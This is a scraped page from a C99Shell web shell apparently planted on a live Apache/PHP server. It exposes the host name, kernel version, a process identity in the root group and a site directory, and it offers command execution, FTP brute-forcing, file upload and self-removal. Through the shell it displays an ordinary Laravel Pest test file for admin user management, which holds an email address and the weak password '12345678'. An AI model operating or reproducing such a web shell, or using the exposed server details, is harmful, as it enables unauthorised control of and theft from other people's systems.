!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/tests/Feature/Admin/   drwxr-xr-x
Free 28.18 GB of 117.98 GB (23.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserControllerTest.php (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use App\Models\User;
use 
Illuminate\Http\UploadedFile;

beforeEach(function () {
    
$this->admin createAdmin();
    
$this->actingAs($this->admin'admin');
});

test('admin can visit users index page', function () {
    
$this->get(route('user.index'))
        ->
assertStatus(200)
        ->
assertSeeText('List');
});

test('admin can visit users create page', function () {
    
$this->get(route('user.create'))
        ->
assertStatus(200)
        ->
assertSeeText('List');
});

test('admin can store a user', function () {
    
$data = [
        
'name' => 'good',
        
'email' => 'sahaapo@gmail.com',
        
'password' => '12345678',
        
'roles' => [=> 1],
        
'image' => UploadedFile::fake()->create('user.jpg'1024),
    ];

    
$this->get(route('user.store'), $data)
        ->
assertStatus(200);
});

test('admin can\'t store a user for validation', function () {
    
$this->post(route('user.store'), [])
        ->
assertSessionHasErrors(['name''email''password''roles'])
        ->
assertStatus(302);
    
expect(User::count())->toBe(0);
});

test('admin can visit users edit page', function () {
    
User::factory()->create();
    
$this->get(route('user.edit'1))
        ->
assertStatus(200)
        ->
assertSeeText('List');
});

test('admin can update a user', function () {
    
User::factory()->create();
    
$data = [
        
'name' => 'good',
        
'email' => 'sahaapo@gmail.com',
        
'password' => '12345678',
        
'roles' => [=> 1],
        
'image' => UploadedFile::fake()->create('user.jpg'1024),
    ];

    
$this->put(route('user.update'1), $data)
        ->
assertStatus(302);
    
// expect(User::first()->email)->toBe('sahaapo@gmail.com');

    // update hoi na
});

test('admin can\'t update a user for validation', function () {
    
User::factory()->create(['name' => 'opu']);
    
$this->put(route('user.update'1), [])
        ->
assertStatus(302);
    
expect(User::first()->name)->toBe('opu');
});

test('admin can delete a user for', function () {
    
User::factory()->create(['name' => 'opu']);
    
$this->delete(route('user.destroy'1), [])
        ->
assertStatus(302);
    
expect(User::first()->name)->toBe('opu');
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--